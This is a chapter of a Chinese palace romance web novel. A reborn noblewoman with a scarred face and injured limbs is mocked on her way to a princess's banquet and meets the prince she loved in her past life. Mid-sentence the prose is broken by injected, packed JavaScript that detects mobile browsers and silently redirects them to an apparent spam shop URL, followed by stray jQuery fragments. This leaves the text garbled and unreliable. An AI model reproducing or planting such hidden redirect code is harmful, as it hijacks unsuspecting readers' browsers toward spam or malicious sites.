“不是!”
南重锦想也不想,立刻反驳。然后突然意识到,她从未提起过这个名字,又怎会……
“你从哪儿听说的这个名字?”
南重舒就笑了,她第一次从南重舒的笑容里看出来“狡黠”两个字。
“上次我们一起在小佛堂的禁闭室抄家规,姐姐你抄着抄着睡着了,我听见你喊了这个名字……”
她的心猛地一跳,耳朵瞬间红了:“不是。”然后刻意强调:“你听错了。”
“我穿得好看,只是为了给公主庆贺生辰,跟什么昭殿下没有关系,我也不认识你口中的昭殿下。”
“你听错了。”南重锦再次强调。
“可是……”南重舒还想再说什么,却被南重锦打断,语气格外正经,“好了,舒儿,时辰不早,我们若是再不出发,怕真的要迟了。”
南重舒没有再说,跟着南重锦一起进了软轿。轿子碾过地上的积雪,一路发出咯吱咯吱的轻响。轿内铺了厚厚的软垫,暖炉里烧着太祖母送的银骨炭,带着清清淡淡的熏香,暖得人身上热烘烘的。
南重锦靠在软枕上,怀抱着手中的雕花手炉,随着愈近宫门,心跳比她预想的要快,她试着深呼吸缓下这股说不清道不明的心绪,却没有丝毫作用。
她想起前世第一次见云昭时,也是这样的大雪天气,就在御花园的梅树下,他穿着玄色常服,手里握着与大臣们议事的案卷,梅花花瓣落在了他的肩头,也是白色的,就像落了点雪。
那时她总被称之为京城第一贵女,才思敏捷,仪态端方,甚至就连容貌,也是一等一的好,每个人都夸她,赞她,甚至连陛下都对她赞誉有加。
她自诩着孤高自傲的名头,从他身边走过,彼时他只是个最不受宠的皇子,就连弱冠礼之后自建府邸,也是陛下赏了他被灭门的外祖姜家的宅院。
何其讽刺。
后来成婚,他知她手脚的病疾,便日日与她敷药。再后来他们被温成业追杀,是他替她挡下致命的刀剑。
再后来……宫变那日。也是他,把传说中的靖勇军令牌塞进她的怀里,要她走,要她远远的走。而自己,却被云晏平的乱箭射死于宫门之外。
“姑娘?您脸红了?”
素心递过一盏温热的茶水,那帕子放手上试了试她的额温:“是不是暖炉太热了,我给你您挪远些。”
南重锦接过茶盏,手指碰到盏壁的温度,才勉强稳住呼吸:“没事,就是有点闷。”她喝了口茶,清香的茶汤顺着喉咙滑下,却压不住心底的慌乱。
她悄悄掀开一角轿帘往外看,雪已经停了,路上铺满了一片白,许多人家的马车也都沿着这条路,晃晃悠悠地走着。
快到宫门口时,软轿遇上了吏部尚书李大人家的马车,次女李嫣然从车窗探出头来,头上梳着眼下最时兴的发式,发间簪着珠花,一眼看见南重锦,可就故意抬高了声音,语气里满是讽刺。
“哟,这不是名满京城的南家长女锦姑娘么,腿不好还非要来宫宴,是想让公主看着你瘸腿走路的样子,好可怜可怜你么?”
一旁王妙音也跟着凑过来,她是礼部侍郎的小女,穿了件茜红的袄子,手指划过轿帘的绣线,声音又尖又酸:“锦姐姐,听说你右手连笔都握不住了呀,以前那些惊才绝艳的诗……怕是再也写不出来了吧?”
“也是,残了的手,哪能再拿起笔呢?”她袖口掩住半面脸,哼哼笑了几声,“好一个清高气傲的锦姑娘,连三皇子的求婚信笺都敢退,现在落得这般下场……啧啧。”
周围一起的,还有几家府邸的马车,或低调或奢华,都是京中权贵,听到这话,纷纷掀起轿帘来看,从前的南重锦不管去到哪里,都能惊起一片议论。
而今的南重锦,依然如此。
“姐姐,别听。”南重舒眼中尽是心疼,想用手捂住她的耳朵。南重锦却淡淡道:“无妨,随他们说去。若连这点话都承受不住,那我以后……又该怎么做些大事出来?”
她唇角勾笑,特意把帘子又掀得大了些,细碎的议论声就顺着冷风,飘进轿厢里。
“以前她穿身素衣素裙都能压过所有人,现在这疤……啧啧,真是可惜。”
“谁让她以前那么目中无人?连皇后娘娘的侄女都敢得罪,现在残了,也是活该。”
“我听说她母亲的死也跟她有关,是个克母克星亲的灾星呢,连她丫鬟都被她克死了,真是……谁跟她走得近谁倒霉!”
……
南重锦默默听着,没有言语,脸上也没什么表情。她轻轻放下轿帘,将那些尖酸的议论隔绝在外,只吩咐车夫道:“走罢。”
等软轿到了空门口时,天上又忽然下起雪来。按照宫规,贵女们的马车是不能进宫的,只能停在门口,再由宫里的女官们带领走着进去。
当南重锦被素心扶着下车时,周遭瞬间安静了下来,一双双眼睛向这里望过来,仿佛她才是今日的主角一般。
从前的南重锦,是京中所有贵女们被耳提面命的榜样,是地上仙,是天上客。容颜绝丽,名满京都,是陛下夸过的“笔落惊风雨,诗成泣鬼神”,是名家大儒口中的“气质惊人,端方绝艳”。
而如今……却连脸上的疤都遮不住,手脚的残缺都看不好。
周围的气氛变得诡异起来,即便下着雪,也挡不住她们挑剔的,讥讽的,幸灾乐祸的,看过来的眼神。
就在这时,一个身穿柳黄色比甲的女子悄悄挤了过来,递给南重锦一块绣着水仙花的帕子,是吏部尚书的幼女李嫣絮,今年才十一岁,以前总跟着南重锦学写诗。
“锦姐姐,别理她们。”
李嫣絮的声音极小极小,带着点胆怯,却很真诚:“你穿这身真好看,比所有人都好看!”
李嫣然立刻瞪过去:“嫣絮,你帮谁说话呢?她是残了的灾星,也配让你递帕子?当心沾了晦气!”
李嫣絮吓得缩了缩脖子,却还是鼓起勇气小声辩解:“大姐,锦姐姐是好人,教我写诗,送我笔墨,她才不是灾星。”
“好人?她要是好人,怎么会克死自己的母亲?”南重锦陡然出声,“絮姑娘,我劝你离她远些,免得被她牵连!”
“不是的,不是的……”
南重舒站在旁边,攥着帕子的手都在抖,眼泪在眼眶里打转,却还是小声说:“锦姐姐没有克死先夫人,先夫人是生病走的,跟锦姐姐没关系……”
“你闭嘴!”
南重瑶推了南重舒一把,力道不大,却让本就没站稳的南重舒踉跄了几下,差点摔倒:“再帮她说话,我就烧了你珍藏起来的画,什么名家名作,我一口气全烧了!”
南重锦瞥头看着她们,正要发话,只听见前面传来女官清亮的声音:“各位姑娘请随我来,公主在倚阑殿备了点心与茶水,都是才做好奉上的,诸位莫要在雪地里冻坏了。”
领路的是平宁公主身边的掌事女官徽玉,一身黛青色宫装,袖口绣有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278841|198326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云纹,腰间系着墨色玉带,眉眼间带着沉稳的威严。
这般人物,却走到南重锦身边时,特意放慢了脚步,且伸出手来:“南姑娘,您的腿脚不便,我扶您走。公主说了,都是京城里的世家贵女,不必拘着规矩,今日要玩得舒心。”
听到她的话,南重锦着实愣了愣。她与平宁公主素无往来,又听闻说这位公主因是陛下的幼女,最为娇惯,性子蛮横得紧,连太子殿下都敢指着鼻子骂,又怎么会让掌事女官特意关照她?
南重锦满心疑惑,却不敢私下结论,只能顺着平宁公主的意,被女官徽玉一道牵着,慢慢往前走。
进了宫门,雪落在朱红的墙上,像泼了层白墨,红白相映,煞是好看。
主殿在御花园的梅坞旁,一到冬天,梅坞的梅花如粉如霞,如云如雪,在殿外尚可“倚阑观梅”,故此得名“倚阑殿”。
其他人跟着宫里的侍女们去往了正殿,而徽玉则领着南重锦去了偏殿。偏殿人少,暖炉却烧得更旺,窗棂上贴满了洒金的寿字窗花,案上摆着堆成山的各色点心,每盘都印着“腊月初三”的字样。
“南姑娘,您先在此歇息片刻,公主尚在主殿接待客人,稍后便来。”
徽玉扶着她在靠窗的软榻上坐下,递给她一小碗牛酥乳,又吩咐宫女给暖炉添了炭,这才起身离开。
南重锦刚拿起银匙,便闻到一股淡淡的龙涎香的味道,原来是软榻旁的宫女,手里正提着熏炉熏香,龙涎香的气味就从熏炉里散开,飘得满屋都是。
她轻轻蹙起了眉,想起云昭不喜欢这个味道,前世他那般隐忍的人,闻到这香味,都忍不住露出了不耐的表情。
下意识的,她对那宫女道:“姑娘,我身子弱,闻不得这熏香,可否将熏香离远些,或者熄掉?”
那宫女愣了愣,想着旁人都在正殿,就这位姑娘一人独居偏殿,还得徽玉大人亲身伺候,想来是个不能招惹的。
便屈膝行礼,道了声是,连忙提着熏炉退到了殿外。
而当她意识到自己在做什么后,却又懊恼起来。分明这一世他都还不认识她,她就悄悄地为他驱除了不喜欢的味道。
真的是……不公平。
就在这时,从殿外传来一阵轻缓地脚步声,沉稳有力,鞋底碾过地面发出轻微的沙沙声,就像刻在记忆深处的烙印,瞬间击中了南重锦的心脏。
是他,云昭。
他来了。
南重锦的心跳随着他的脚步声而逐渐失序,又慌忙在心底否认。他这一世不认识她,肯定不会进来偏殿,肯定是……路过而已。
可当她抬头,却正看见云昭缓步从殿外走了进来。
他穿了身玄色绣暗蟒纹的常服,腰间系着玉带,玉带上挂着一枚玉佩。他的头发总是梳得一丝不苟,固定发髻的簪子也是最常使用的银簪。
他站着的时候总是直挺挺的,不弯不屈,走起路来却带了几分肆意,衬着他的这身衣裳,在雪地里像幅泼墨画。
他的容貌隽秀,大约是像已故的娴妃娘娘,娴妃娘娘那时也是貌冠大熙的女子。他的眉眼生的最好,像是天上最深邃的星星,看着人的时候却带着点漫不经心的冷。
可即便如此,南重锦只是扫了一眼,就已从他平静的眉眼间,看出了一丝不易察觉的疲惫。
云昭自然也看见她了,就在进殿的时候,这女子端着个小银碗,看向他的眼神有些慌乱,脸颊泛着淡淡的红,不知是热的,还是什么。